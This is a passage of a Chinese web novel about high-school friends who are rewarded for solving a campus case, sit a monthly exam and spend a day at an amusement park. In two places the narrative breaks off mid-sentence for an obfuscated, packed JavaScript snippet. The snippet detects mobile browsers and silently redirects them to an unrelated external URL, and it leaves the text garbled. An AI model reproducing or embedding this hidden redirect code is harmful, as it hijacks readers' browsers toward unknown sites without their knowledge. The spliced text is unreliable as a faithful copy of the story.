大家齐齐瞪大了眼睛,待反应过来后,班上瞬间炸开了锅。 ———— “不够意思,太不够意思了!这么重要的事,你们竟然背着我们偷偷做了!” 第二天沈安宴和贺晴天返校时,刚一进班,就受到了以林跃打头一帮人的控诉。 江小松道:“晴儿,亏咱们俩还是发小呢!秘密行动这事儿你竟然不带我!” 陈杉道:“我就在隔壁宿舍,你出去的时候怎么不把我也叫上呢!” 林跃把沈安宴摇得直乱晃:“我也想夜探校园!我也想破案抓人!我也想经历一场酣畅淋漓的速度与激情啊!” 解释完前因后果的贺晴天无奈道:“我也是一拍脑袋临时决定的,没想那么多。” 沈安宴被摇得想吐,她忙按住林跃的胳膊,威胁道:“再晃真吐你身上了啊!” 林跃忙收回了胳膊,只是眼神看起来还有点儿幽怨。 沈安宴道:“又不是什么好事儿,你当天天晚上熬夜蹲点是什么舒服的事儿吗?而且这事儿本来也是人越少越方便,咱们乌泱泱一堆人围在教室里,不被发现才怪!” 林跃这才勉强原谅了对面两人的独自行动。 沈安宴揉了揉脑袋,又问道:“对了,昨天学校开年级大会了?怎么说?” 林跃道:“就是通报批评了七班那个人,又把你们俩稍微提了一下,不过没夸,估计是觉得你们违反校规了。” 江小松有点愤愤不平:“规矩是死的人是活的,晴儿宴儿她们俩可是办了学校半天办不成的事儿,通融通融怎么了?” 贺晴天道:“没处罚就算是通融了。不过还是有好处的。” 陈杉问道:“什么好处?” 贺晴天道:“奖励了我们六科的模拟套卷。” 众人:…… “咳。” 贺晴天没忍住笑了笑:“当然,不止这个,还有呢。” 她从兜里掏出一张金色的卡,上面画着漂亮的卡通图案,中间是极有标志性的摩天轮。 “年级主任送了我们这个,市中心新开那家游乐场的体验卡,不限人数,有十次免费的体验机会。” 林跃的眼睛瞬间亮了。 陈杉轻咳一声,温和地笑道:“好小宴,好班班——” 江小松道:“晴儿,咱们的发小情!宴儿,咱们的姐妹情!” 沈安宴莞尔:“我没问题。” 贺晴天笑道:“那这周末,一起?” 不过在周末的游乐园之行前,大家首先要应对的是即将到来的月考。 考试安排在了周四下午和周五一整天,恐吓事件的风波过去后,大家彻底进入了复习备考的氛围中。 因此这几天,周围人面上都是一副要死不活的表情。 连平日里精力最旺盛的林跃也不撒欢了,每天爬桌子上复习时像老僧入定了似的。 沈安宴和贺晴天两人在这些天也变得炙手可热起来。办公室每天跑去问题的人爆满,一些同学挤不过,就另辟蹊径来请教这两位了。 “舟儿,知道你跟宴儿关系更近,但先让我问完这道题吧,不然我真要死了。”江小松诚恳道。 沈安宴原本每周都要空上两三天晚自习去给陆舟辅导学习,但这几天来问她题的同学很多,她便停了晚上的家教业务,待班里帮周围同学解疑答惑了。 陆舟也无所谓,对方来不了自己的班,他便跑来找对方。每次晚自习一下都要借着“请教”的名头来和沈安宴搭话。 要是一班那天看晚自习的老师不严,他还会直接待对方班里上自习。 江小松好容易挨到了下课,想抓紧这短短的十分钟来问沈安宴数学最后一道大题该怎么写,结果被陆舟先截了胡,只得厚脸皮插个队。 陆舟反正又不是真心想学,又听见对方说自己跟沈安宴关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248041|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更好,不禁心花怒发,立刻高高兴兴地同意了。 江小松便摊开习题册,期待地向沈安宴指了自己不会的题目。 沈安宴看了一眼,诧异道:“你确定要问这道题吗?很难的,复习的话复习基础题更有效果。” 江小松道:“我知道。这不是陈老师把这道题重点标注出来了吗,不然我肯定看都不会看一眼。” 林跃听了两人的讨论,立刻转头看了那道题一眼。 “噢!这道圆锥曲线的题啊,我也不会呢。本来想放在最后做,既然现在要讲的话,那让我也听听呗。” 贺晴天和陈杉也凑了过来。 “这题是很难,我觉得性价比不高就直接跳过了,小宴你有思路吗?”贺晴天问道。 陈杉对这种难题一向持“打不过就直接放弃”的态度,不过见周围的小伙伴们都要听,就也喊着要挑战自我极限听一听了。 想听的人还挺多,沈安宴一时犯了难。 她说道:“这么多人围着不好讲,肯定有人看不到演算过程,要么两个两个的来听?” 陆舟见状提议道:“你直接到黑板上去讲嘛,不就都能听到了?” 沈安宴一拍脑袋,自己真是讲题讲糊涂了,这么简单的道理都没想通。 她拿上习题册,站讲台上去讲了。 沈安宴的位置便空了出来,陆舟索性坐在了对方位置上,那态度相当自然,好像这本来就是他的座位一样。 江小松嘴巴一撇,她本来想坐到沈安宴座位上的,没成想被人捷足先登了,只得拉了个没人坐的空凳子来,在贺晴天旁边坐下了。 有人注意到沈安宴的动作,出声问道:“哎,盛宴,你要讲题吗,讲哪道?” 沈安宴道:“大册第三十八页最后那道。” 班上人听了,大部分同学也将习题册拿出来翻到了那一页,接着又有人应声:“哎,这道题好难,我也听一下吧。” 周围人纷纷附和。 见大家都要听,沈安宴便不再压着声音。她抽出粉笔,在黑板上一边写过程,一边给大家梳理这道题的思路。 底下同学都听得认真,有时候部分人没跟上,就举手将自己的疑问提出来,沈安宴也会耐心解答。 等一道题讲完,大家基本都听懂了。有部分没懂的问一问左右,也差不多能搞懂。 沈安宴放下粉笔,正准备下去,就见主任不知什么时候站在了班门外,正举着手机拍照。 沈安宴有点疑惑:“老师?” 主任笑着道:“没事没事,你们继续。这个习惯很不错啊,值得表扬,以后要继续保持。” 沈安宴点了点头。 下节晚自习是班主任姜老师看的,陆舟没有多留,上课铃一响就离开了教室。 姜老师进来时笑呵呵的,她走到沈安宴身旁,问道:“刚刚你给同学们讲题了?” 沈安宴应了声“是”。 林跃道:“老师,小宴讲得可好了,我们一下子就听懂了!” 姜老师道:“很不错,刚刚主任在年级群里还夸了你们呢。” 陈杉道:“老师,那我们表现得这么好,有没有什么奖励啊?” 姜老师想了想,笑着说:“这样吧,等这次考完,只要成绩够看,我就腾出一节语文课给你们放电影,怎么样?” 陈杉本也是随口一说,没想到真能应验,一时间惊喜地瞪大了眼睛。 周围听到这句许诺的同学也沸腾了起来,有后排没听到的同学见前面人喊“谢谢老班”、“老姜真好”喊得火热,忙向周围人打听发生了什么,了解到事情的缘由后,也立刻跟着喊了起来。 原本因考试带来的疲惫氛围一松,空气里都盈满了快活的味道。 24. 乐园 这次的月考中规中矩,不像开学那样变态级别的难。虽然考完大家照旧会说“难死了”、“要砸了”一类的话,但大多是出于谦虚,面上看着还是很有底气的。 最后一门的考试结束的铃声响起,沈安宴停了笔,从座位上站起来由前往后收答题卡。这次月考座位是按照开学考排名安排的,她坐在第一列第一个位置,每场第一列的答题卡基本都是由她来收。 考场的人她大部分都认识,基本都是前两个班的学生。沈安宴后面两个座位分别是贺晴天和顾辞江。 收好了卷子,沈安宴将第一列的答题卡交了上去。接下来没课,恢复好教室的桌椅就可以直接回家了。 沈安宴所在的第一考场就是她们原本的教室,贺晴天正挪动着自己的桌子,江小松背着书包从教室外走了进来,先和沈安宴打了声招呼,就凑到贺晴天旁边帮对方搬椅子了。 “快点快点,我妈来接我,等会儿咱们俩刚好一起回去。”江小松道。 贺晴天点了点头,两人很快收拾好了座位,同沈安宴道别离开了。 沈安宴不急着走,她出去搬桌子时,正好遇到从班里出来的顾辞江。 她眼睛一亮,追上去问道:“你这周末有时间吗?” 顾辞江看她一眼,问道:“怎么了?” “我打算周末去市中心的游乐园玩,要不要一起?” 顾辞江摇了摇头,拒绝道:“我周末还要补课,应该去不了。” 见对方露出有些失望的神色,他犹豫片刻,又补充道:“下次吧,如果我周末有空的话,再陪你一起去。” 待对方离开后,沈安宴走去过道,正准备搬东西,忽然有人从背后揽住了她的肩。 带着盈盈笑意的声音在她耳边响起。 “小宴老师,什么事这么不开心?” 沈安宴朝来人看去,正是陆舟。 她道:“没有不开心,你怎么来了?” 陆舟道:“好不容易考完试,当然要好好放松一下。怎么样?待会儿要不要一起出去玩?” 沈安宴道:“不了,明天约了朋友一起去游乐场,今天要好好休息一下。” 陆舟立刻道:“我也要去!我也是你的朋友,你怎么都不邀请我?” 沈安宴无奈道:“这不是怕你不感兴趣吗?那一起?就是市中心那家,早上九点集合。” 陆舟这才满意,他笑道:“那就这么说好了。” 沈安宴回到租房后,早早就歇下了。等第二天起床,洗漱过后,她提前半个小时到达了目的地。 游乐场新开,为了招揽游客推出了很多活动,入口前到处都悬挂着气球彩带,还有穿着玩偶服的工作人员和小朋友们合照。 沈安宴很快找到了贺晴天,对方竟然比她来得还早,正站在树荫下观看着不远处的杂技表演。 她今天穿了一件米白色的上衣,下身则是明黄色的喇叭裤,整个人看起来明艳又温柔。 贺晴天也很快发现了对面的沈安宴,笑着同对方招了招手。 沈安宴加快脚步走了过去,笑着道:“我还以为我会是第一个来的呢,没想到你比我更早。” 贺晴天道:“早来早放心嘛,我家离这里比较远,今天又是周末,车流量大,我怕出发晚了路上堵车会迟到。” 两人没聊一会儿,很快又有人到了。 周天一副还没睡醒的样子,打着哈欠向两人招了招手,朝这边走了过来。 她穿的很是简单,一件白色卫衣,一条黑色休闲裤,就没有其它多余的装饰了。 最初响应要去游乐园的,只有林跃、陈杉、江小松三人。之后林跃又邀请了隔壁班的李欣然,江小松则带上了周天,沈安宴又加上了陆舟,零零散散加起来,这趟游乐园之行凑齐了八个人。 沈安宴看了下手机,离约好的时间还有二十分钟,她笑道:“你来的挺早啊。” 周天道:“习惯了。” 正说着,沈安宴忽然听到背后响起了一道熟悉的声音。 “盛宴!” 她回头看去,眼睛倏然一亮。 来人正是陆舟,他一边挥手一边朝这里跑来。 对方今天的穿着极其亮眼,一件黑色的无袖上衣,印有设计感十足的英文图案,领口很低,精致的锁骨就这么明晃晃地露了出来。脖子上又戴着一条翡翠项链,那点幽深的墨绿点缀其间,和银色的耳坠十分相称。外边则松松垮垮地套了件夹克衫,露出了肌肉线条流畅漂亮的肩膀和手臂,那肌肉很符合当下的主流审美,既不瘦弱,也不过分夸张,性感地恰到好处。 下身则是破洞牛仔裤,正是时下最新潮的款式。整个人看起来时尚潮流极了。 当然,对方也自觉自己今天这身打扮非常出挑,因此到沈安宴跟前后,他很得意地问道:“怎么样?我今天漂亮吧?” 沈安宴笑道:“特别漂亮。” 周天在后边翻了个白眼,同贺晴天吐槽道:“真是雄孔雀开屏。” 陆舟顺手勾住沈安宴的肩膀,听到周天这话挑眉笑道:“我可听见了啊,忌度我的衣品就直说,谁跟你一样一年四季就这么黑白两色轮着穿。” 沈安宴问道:“你们两个认识?” 陆舟解释道:“家里有生意往来,之前见过几次。” 没过一会儿,江小松也到了,对方穿着和贺晴天同色系的服装。有她在就不用担心没话题聊会尴尬的问题了,自从她到了后,几人之间根本没冷过场。 林跃和李欣然是一起来的,两人的打扮差不多,都穿着运动服和运动鞋,非常适合撒欢畅玩。 唯一不同的是,李欣然身上多背了一个包包,上面挂了很多印有同一个人不同照片的徽章,看起来很是独特。 见沈安宴看了自己的包包好几眼,李欣然问道:“你也喜欢小C吗?我看你一直盯着我的痛包。” 沈安宴有点疑惑痛包这个名字,什么意思,背上会痛的包包吗? 她道:“就是觉得很特别。这个人叫小C吗?很好看。” 李欣然的追星属性被触发了,她眼睛一亮,条件反射地开始向对方安利起小C,从成名经历到代表作品,再到未来展望,要不是林跃及时拉住了好友,恐怕她能说上一天也不够。 时针走到九点,不出意外,最爱踩点的陈杉这次也踩着点到了。 她双手叉腰大喘着气,庆幸道:“还好还好,没有迟到……” 陈杉身上也背着一个挂满徽章的包包,和李欣然不同的是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266923|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的包包徽章上印的是各种二次男角色照片。 这个沈安宴知道,毕竟陈杉的座位就跟自己隔了一个走廊,对方曾多次向她展示自己的纸片人男友,并倾情安利沈安宴也下载一个游戏试试。 不过都被沈安宴委婉拒绝了。 见人到齐了,由贺晴天带头,几人到了入口处排队。 她们来的还算早,排队并没有花太长时间,很快就检票进了游乐场。 春日乐园位于市中心,是海城最大的游乐园区,贺晴天昨晚做好了攻略,此时拿了园区地图同伙伴们商量游玩路线。 “这里最火的三个游乐项目分别是旋转木马,摩天轮和过山车。我的想法是,大家可以先到旋转木马那里打卡拍照,然后看一看花车巡演,路上遇到哪个项目人少就玩哪个。咱们中午晚点吃饭,一点左右是用餐高峰时段,我们可以在这个时间去玩过山车,刚好能错开人流,然后再去吃午饭。吃完再去玩鬼屋,然后参观童话系列展厅,等晚上玩摩天轮和看烟花表演,怎么样?” 一行人里除了贺晴天和林跃,基本都是不爱做计划出来玩只负责跟着走的人,大家自然没有异议。 陈杉赞叹道:“不愧是班长,出来玩儿有你就是放心!” 沈安宴对旋转木马这种小孩子才玩儿的项目没什么兴趣,不知道这地方是怎么成为大热门景点的。 不过等到了目的地,亲眼见识过一番后,她方才明白这大热门来的可真是不掺一点儿水分。 先是体积,那旋转木马目测能有学校半个操场的大小,听工作人员说坐上去绕完一圈至少需要十分钟左右。设施整体以白金为主,风格偏像西方中世纪的教堂,木马也不是卡通可爱造型的,而是偏向于真正的高大威风的骏马,有飞马,路马和独角兽三种类型,体型足有一个成年人那么高,色彩淡雅柔和,非常符合年轻人的审美。 沈安宴来之前嘴上说着好幼稚她绝对不会玩,等真见到了这漂亮矫健的木马,瞬间就反悔想坐了。 贺晴天及时按灭了她的冲动,指了指旋转木马入口处的队伍:“咱们要是非要跟这个杠上,估计要排到中午两三点了。” 沈安宴看了看那一眼望不见尽头的长队,默默听从了对方意见,依依不舍地在这里拍了好几张照片。 周围和她们抱有同样打算的游客也不少,都聚在外围拍照,其中以年轻人居多。 有几个看着和她们差不多大的男生嘻嘻哈哈地在一旁推搡嬉笑着,时不时还要朝沈安宴的方向看过来几眼。 过了一会儿,那群男生中间出来了两个人,结伴走到了沈安宴身前,其中一个模样清秀的男生腼腆地问道:“那个,同学,方便加个联系方式吗?” 结伴的朋友有点无语地推了他一把:“这又不是在学校,叫什么同学啊?” 清秀男生有点不好意思地挠挠头,致歉道:“太紧张了,抱歉抱歉。” 沈安宴道:“没事儿,我们本来也是学生。” 清秀男生问道:“那联系方式……” 陆舟忽然走了过来,用胳膊虚虚环住了沈安宴的脖子,又将脑袋亲昵地搭在了对方肩上,接着笑眯眯地看向对面的男生。 “不好意思哦,我不太喜欢别人加她的联系方式呢。” 25. 烟花 陆舟的好看本就是那种浓墨重彩式的好看,尤其笑起来时,浓稠艳丽的好相貌让周围人都会不由自主地将目光放在他身上。 清秀男生下意识有些自惭形秽,接着又从对面两人亲密的动作中意识到了什么,忙致歉道:“对不起,我不知道你有男朋友了,实在不好意思。” 他说完这句话,就忙拉着好友离开了。 沈安宴的神色有些迷惑。 陆舟松开环住对方的胳膊,又和她拉开了一点距离,这才笑着说:“帮你个忙,难不成我好心办坏事了,你想加那个男生的联系方式?” 沈安宴道:“没有,本来也打算拒绝的。” 林跃打趣道:“哎呀,小宴,很受欢迎嘛!” 沈安宴有点无奈,不过这种情况于她而言并不算新鲜,毕竟从上初中开始,明里暗里对她表示过好感的人几乎数不胜数,她对此已经习惯了。 李欣然看了一眼陆舟,又看了一眼沈安宴,脸上浮现出了一点纠结的神色,不知道在想什么。 陈杉最后一个拍完了照片,走过来催促道:“我好了,咱们快点去看花车巡演吧!” 花车巡演也是春日乐园的重头戏之一,从十点整开始第一场,之后每隔四小时举办一次,每天总共巡演四场。沈安宴她们正好能赶上首演。 各式各样华丽的马车被卫队簇拥着,在乐园街道上游行。挺拔英气的公主身着白色西装,腰间悬着利剑,站在最前方向人群招手。在她身后,则端坐着漂亮的王子,也是长衣长裤,但多了不少项链、耳坠、头冠一类的饰品,衣服也比公主繁复华丽得多,像是一座精美的艺术品。 马车后跟着身穿玩偶服的表演者,扮演着动画电影里的大热角色,向两边人群抛撒着各种小礼品。 沈安宴几人都接到了礼物,打开一瞧,有的是糖果,有的是周边,有的是抽奖券。 沈安宴抽到了一只小狗挂坠,这是一部推理类电影中的角色,电影名好像叫动物侦探社,小狗侦探是里面的主角。 陆舟抽到的是水果糖,他将糖果给沈安宴分去,注意到对方手上的挂坠,笑着说道:“噢,是这个,我小时候特别喜欢看这个电影,最喜欢的角色就是她了。” 沈安宴接过糖果,又将挂坠递给对方,问道:“那送给你?” 陆舟笑道:“不用啦,我家里已经有很多了。而且你觉不觉的,你和她还蛮像的。” 沈安宴挑了挑眉,将那只小狗凑近看,棕色皮毛,豆豆眼,手上举着一只放大镜。她没有看过电影,不知道自己哪里和这位小狗侦探像了。 贺晴天听到两人的对话,也凑过来看那只棕色小狗,忍不住笑道:“是很像。” 沈安宴不解:“哪里像了?” 贺晴天道:“性格吧,你们都很聪明,而且沉稳不怕事。” 陆舟道:“你没看过这个电影吗?” 沈安宴道:“嗯……其实我家里穷,小时候没钱看电影。” 周天翻了个白眼:“这话说出来你自己信吗?” 倒不是周天不愿意信,一般情况下,家中条件困难的孩子,身上难免会表现出敏感、胆怯或者偏激的特质,再掩饰也会从细节处显露。而沈安宴不同。对方举手投足间尽是从容,甚至到了有些懒散的地步。为人处世分寸感又强,礼节更是一个不落,这是富裕人家才容易养出的孩子。林跃她们对此或许不关注,但周天却很了解,因为她本人差不多也是这种性子。 林跃她们显然也没怎么信,还当对方是开玩笑,七嘴八舌地打趣起来。沈安宴没在意,跟着一起笑了起来。 只有贺晴天和陆舟没有笑。 贺晴天是记得和对方去警局那次,离开时沈安宴家里没人来接,还是坐班主任的车回去的。因此她心里大概有了点猜测。 陆舟则更为直接,毕竟沈安宴可是自己的家教,他从管家阿姨那里了解过对方的信息,自然清楚她的背景。 贺晴天咳嗽一声,打断了几人的谈笑:“好了,花车巡演差不多看完了,咱们接下来去哪里玩?” 林跃踮起脚尖向远处眺望一番,惊喜道:“海盗船那里排队的人特别少,咱们快去!” 沈安宴眼睛一亮,率先向那边跑去:“我最喜欢这个,快走快走!” 众人齐齐奔去。 坐上海盗船后,沈安宴系好了腰带,转头见身侧的陆舟有些手忙脚乱不知道该怎么系,又探过身子帮对方系好。 “咔哒”一声轻响,锁扣被扣好了,沈安宴直起腰,拉了拉腰带,确认过没问题后,笑着道:“行了,这样就没问题了。” 陆舟的心跳微微快了一拍,他轻咳一声,笑道:“谢谢小宴老师。” 离海盗船启动还有一点时间,隔壁的贺晴天也在检查左右有没有系好安全带,江小松则激动地直跺脚,被周天以“吵死了,安静点”为由……没制止成功,江小松这种人来疯,别人越不要她做什么,她还偏要做什么,因此更加使劲地去烦周天了。 前排的林跃正新奇地左右张望,感叹着上面儿的视野真是不错,陈杉则说等晚上坐摩天轮视野肯定更好。李欣然举起了自己的痛包,和上面的徽章合影,合完了又招呼左右一起再来合拍一张。 贺晴天见状又开始操心,喊李欣然快把手机收起来,小心待会儿船发动了手机没收好又掉下去。 沈安宴看得正乐呵,忽然察觉到身侧人凑近了她。 陆舟小声问道:“刚才……你有没有不高兴?” 沈安宴疑惑道:“不高兴?没有啊,怎么突然问这个……” 她意识到了什么,不禁莞尔:“噢,我知道了,没事的。” 正说着,海盗船缓缓移动了起来,两人忙握好身前的扶手,船只向高处摆动,接着快速俯冲下来。 耳边响起一片惊呼。 船越摆越快,直到将游客们抛至最高点。沈安宴玩儿得畅快极了,坠落时带来的失重感令人兴奋又刺激,隔壁江小松和身侧的陆舟又是喊又是笑的。 待船停下后,众人都有些意犹未尽。游玩计划虽是贺晴天提出的,但接下来玩儿哪个项目则是由林跃和江小松牵头。这两位浑身上下都是使不完的牛劲儿,跑得最欢,上蹿下跳地帮大家找哪个项目排队的人少。 因此大家游玩的效率也高,一个上午不仅如期坐了乐园最出名的过山车,又玩儿了大摆锤、跳楼机、水上飞车等等一系列项目,其中大摆锤沈安宴婉言谢绝了,毕竟她喜欢的是失重带来的刺激,而不是把人三百六十度疯狂旋转待下来后只剩下想吐的欲望。 坐完过山车,贺晴天给了几个餐厅推荐。 “喜楼性价比最高,森林餐厅听说氛围不错,不过食物的味道就有点不敢恭维了。云上茶馆的饭菜花样最多,味道也好,就是价格是所有餐厅里最贵的……” 网上冲浪强度最高的李欣然附和道:“噢,云上我也刷到过,好评特别多,不过价格也贵得离谱,最便宜的菜都够我搓一顿烧烤的钱了。” 陈杉刚想说那就不考虑这个了,又不是吃了能成神仙,何必花那冤枉钱,就听见两道声音异口同声地响起。 周天:“没事,我请。” 陆舟:“这有什么,我请客!” 江小松乐了:“要么你们俩先商量好?” 陆舟道:“我请我请,本来就是我主动要跟过来的。” 周天也没强求,没再跟对方抢请客的机会。 人比较多,几人到餐厅后直接订了个包间。 陈杉一进来就忍不住感叹道:“不愧是最贵的餐厅,果然有格调。” 云上茶馆既然带了云上两个字,自然是建在高处的。乐园里除了摩天轮,就数这里的建筑最高。屋外的餐桌是露天放置的,屋内的包厢虽不露天,但正对着门一侧的墙壁用整面落地窗代替了,都可以一览无余地看到乐园的场景。 餐厅还用了不知是什么东西运作,从进来到现在,地板上到处都浮动着洁白的霜雾,真像是置身于云端之上。 里面没有刺鼻的味道,而是涌动着清浅的茶香,闻着沁人心脾。 大家落了坐,服务生递来了菜单和热毛巾,又将餐具一一消毒放好。 林跃和李欣然凑在一起看,先是为册子上菜品之精致惊叹一番,又为底下的价格咂舌一番。 沈安宴想了想,率先拿起菜单开始点菜,她朝陆舟问道:“那我就点我喜欢的了?” 陆舟道:“行啊,随便点。” 沈安宴随手点了几份合眼缘的,接着周天也点了自己想要的,其她人方才也点了各自喜欢的菜品。 上菜的过程也非常新奇,有需要浇水才能长出来的蘑菇盆栽盖饭,或者用火烧过后露出藏在书中的牛排,杂技似的切割生鱼片…… 江小松笑道:“这下好了,不仅吃了饭,还赚了一场魔术表演。” 大家听完都笑了起来。 菜很快上齐了,大家一尝,味道还真是不错。 陆舟见沈安宴一直没吃海鲜,还当对方夹不上,便给她夹过去了一块生鱼片。 沈安宴道:“嗯?怎么突然给我夹这个?” 陆舟道:“很好吃的,你试试?” 沈安宴便蘸着酱汁吃了,她嚼了三两口,很快将鱼片咽了下去。 陆舟见对方吃得快,还当她喜欢,准备继续夹。 沈安宴忙制止道:“不用了不用了,我不喜欢吃生的东西。” 江小松听了惊奇道:“哎,你不喜欢吃生食吗?我感觉还蛮好吃的,吃起来又新鲜,还甜甜的。” 沈安宴道:“好吃是好吃,就是不习惯。” 林跃道:“我懂,我喝水都是冷热对半接的。而且吃太多生冷对身体也不是很好。” 陆舟便没再给对方夹鱼片,而是换成 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背景发生在上个世纪的冬日,地点是火车站,火车是那种老式的绿皮火车,天花板上投影着蓝天白云,墙壁上则画着火车站的场景,铁轨和火车是真实的,里面大概藏有音响,模拟出了火车发车时的嗡鸣声响,车头还打着明亮的黄光。周围还有装扮成乘客的工作人员,倒还真有些令人身临其境的真实感。 大家拿了剧本,大概剧情是这辆火车被犯罪分子盯上,在里面装了定时炸弹,玩家是时空管理局的人,需要来到这里寻找线索,在规定时间内推理出炸弹的位置,最后进行拆除。如果不成功,就会陷入循环,直至成功拆除炸弹为止。 待几人进来后,因为现代服装与这里格格不入,乘客们频频向她们看去。其中一个乘客大娘还招呼了一声:“妮儿啊,这么冷的天,只穿这点儿可不成!” ……外面二十多度的天,里面的低温是空调制冷出来的。几人有些想笑,但看在工作 人员尽业的表演上还是忍住了。 大家配合地同乘客们打听消息,又走进火车开始寻找藏在旮旯角落里的线索。 副本内容的确精彩,大家很快就沉浸在了剧情中,其中以贺晴天和沈安宴最为出彩,大部分思路都是她们两人提供的。 大家第一回合就成功找到了炸弹,拆除后,欢快的游戏通关声从音响里播报出来。扮成乘客们的工作人员也配合地大呼小叫起来,后怕地议论着车上竟然有炸弹,还好被发现了,不然真就要把命搭在这里了。 沈安宴闭了闭眼,感觉自己也要被尴尬到没命了。 离开鬼屋时,几人还得到了一个意外之喜,因为是首次通关,工作人员送给了她们每人一个抽奖券,可以在十点钟到喷泉广场兑奖。 之后几人到童话镇参观,这里游玩面积很大,建筑仿照西方乡村小别墅的风格,色彩鲜艳华丽,街上还有穿着骑士装或者长裙的演员闲逛,游客们可以上前去合影。美食街的摆摊小贩也是欧式的打扮,卖的食物礼品也是一脉相承的风格。 大家一路吃一路逛,直到天黑才堪堪逛完。 贺晴天道:“时间差不多了,咱们去摩天轮吧。” 摩天轮的最佳游玩时间是晚上,这回排队要花费的时间是不可避免的。等队伍排到她们后,贺晴天忽然提出要再等一会儿,让后面愿意先玩儿的人让了上去。 等到八点四十分,她才开口说可以走了。 座舱一只可容纳四人,沈陆贺江一组,李林陈周一组,大家分批上了相邻的两个小吊厢。 吊厢沿着转轮缓缓上升,江小松趴在玻璃上,睁大眼睛盯着越来越小的地面,嘴里发出“哇——”的惊叹声。 天色已经完全黑了下来,乐园的灯光全部打开了,俯瞰下去,像是黑布上镶嵌了无数细碎美丽的钻石,连成了一片璀璨夺目的光带。 贺晴天看了眼时间,笑着提醒道:“快了,烟花表演就要开始了。” 这也是她们一定要踩点儿来坐摩天轮的原因,烟花表演在九点钟开始,这个时候摩天轮正好快要上升到最高点,是欣赏表演的最佳地点。 一声清响,华光自地面冲上高空炸开,无数烟花在夜空下绽放,映得黑幕亮如白昼。沈安宴她们离烟花最近,近距离观赏的烟火盛宴极具冲击力,好像那绚烂多姿的繁华将她们包围起来了一般。 周围吊厢里的人纷纷拿出了手机拍照,沈安宴对拍照的兴趣不大,一是她不喜欢拍,二是她的手机像素一般,就算拍了也不好看。还不如就这么静静欣赏更有意思。 满天烟火中,有人喊了她的名字。 “盛宴!” 沈安宴回过头,就见身侧的陆舟凑了过来,他一手拿着手机,一手揽住了她的肩膀,手机屏幕映出了二人的身形,还有背后朵朵绽放的烟花。 随着“咔嚓”一声,少年们的映像被定格在了此刻。